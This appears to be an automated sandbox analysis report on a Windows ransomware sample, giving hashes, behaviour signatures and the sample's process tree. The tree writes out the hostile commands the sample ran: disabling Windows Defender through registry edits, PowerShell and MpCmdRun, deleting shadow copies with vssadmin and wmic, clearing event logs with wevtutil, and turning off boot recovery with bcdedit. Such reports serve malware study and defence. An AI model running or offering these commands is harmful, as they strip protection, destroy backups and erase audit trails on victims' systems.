Analysis

  • max time kernel
    34s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    19/02/2024, 16:34

General

  • Target

    2024-02-19_5384c6825a5707241c11d78529dbbfee_hive.exe

  • Size

    3.3MB

  • MD5

    5384c6825a5707241c11d78529dbbfee

  • SHA1

    85f5587e8ad534c2e5de0e72450b61ebda93e4fd

  • SHA256

    3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21

  • SHA512

    856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f

  • SSDEEP

    49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-02-19_5384c6825a5707241c11d78529dbbfee_hive.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-02-19_5384c6825a5707241c11d78529dbbfee_hive.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2660
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:2308
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:2764
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2724
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:2796
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2816
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:3036
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2684
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:2868
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2128
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:2704
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2732
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:2620
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2740
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2580
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2608
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2688
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1168
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1960
                    • C:\Windows\system32\sc.exe
                      sc.exe config "UI0Detect" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1080
                    • C:\Windows\system32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:668
                    • C:\Windows\system32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:436
                    • C:\Windows\system32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:568
                    • C:\Windows\system32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:924
                      • C:\Windows\system32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:2920
                        • C:\Windows\system32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:2996
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:3016
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:1888
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2140
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2032
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:368
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1580
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1752
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:2844
                                • C:\Windows\system32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:2016
                                  • C:\Windows\system32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:2840
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:2020
                                      • C:\Windows\system32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:2908
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:2916
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:1076
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:1968
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:1584
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1760
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:1892
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:2104
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:3068
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:2492
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:1280
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:1416
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:2176
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:1864
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:628
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:2664
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:2248
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:1044
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:1904
                                                                          • C:\Windows\system32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:1384
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1200
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1648
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1916
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2864
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1944
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:2220
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:2744
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:1344
                                                                              • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                3⤵
                                                                                • Deletes Windows Defender Definitions
                                                                                PID:2520
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:888
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:2392
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:1656
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2876

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v15

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                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                dd89da51b615a57ecda18cbb08dbce63

                                                                                SHA1

                                                                                494082750f438ee6bda5bd55f9e9cfb4a780c6fe

                                                                                SHA256

                                                                                e194ea2cce98c5a4cb6c21376b7faf3a6e15e6b95e158b57a51c27fd55238e3d

                                                                                SHA512

                                                                                d41fd9da341b8298d641c9b7655aee2bb519d3701c30713d7c56422ed6ef530615a6ad6e0bcb378b1a3a9e137692d453b2b0e541078948919532bc8d0a6d8401

                                                                              • memory/2392-15-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

                                                                                Filesize

                                                                                9.6MB

                                                                              • memory/2392-7-0x000000001B170000-0x000000001B452000-memory.dmp

                                                                                Filesize

                                                                                2.9MB

                                                                              • memory/2392-10-0x0000000002540000-0x00000000025C0000-memory.dmp

                                                                                Filesize

                                                                                512KB

                                                                              • memory/2392-11-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

                                                                                Filesize

                                                                                9.6MB

                                                                              • memory/2392-12-0x0000000002540000-0x00000000025C0000-memory.dmp

                                                                                Filesize

                                                                                512KB

                                                                              • memory/2392-13-0x0000000002540000-0x00000000025C0000-memory.dmp

                                                                                Filesize

                                                                                512KB

                                                                              • memory/2392-9-0x0000000002490000-0x0000000002498000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/2392-14-0x0000000002540000-0x00000000025C0000-memory.dmp

                                                                                Filesize

                                                                                512KB

                                                                              • memory/2392-8-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

                                                                                Filesize

                                                                                9.6MB

                                                                              • memory/2876-21-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

                                                                                Filesize

                                                                                2.9MB

                                                                              • memory/2876-23-0x00000000023A0000-0x00000000023A8000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/2876-24-0x0000000002550000-0x00000000025D0000-memory.dmp

                                                                                Filesize

                                                                                512KB

                                                                              • memory/2876-22-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

                                                                                Filesize

                                                                                9.6MB

                                                                              • memory/2876-25-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

                                                                                Filesize

                                                                                9.6MB

                                                                              • memory/2876-26-0x0000000002550000-0x00000000025D0000-memory.dmp

                                                                                Filesize

                                                                                512KB

                                                                              • memory/2876-27-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

                                                                                Filesize

                                                                                9.6MB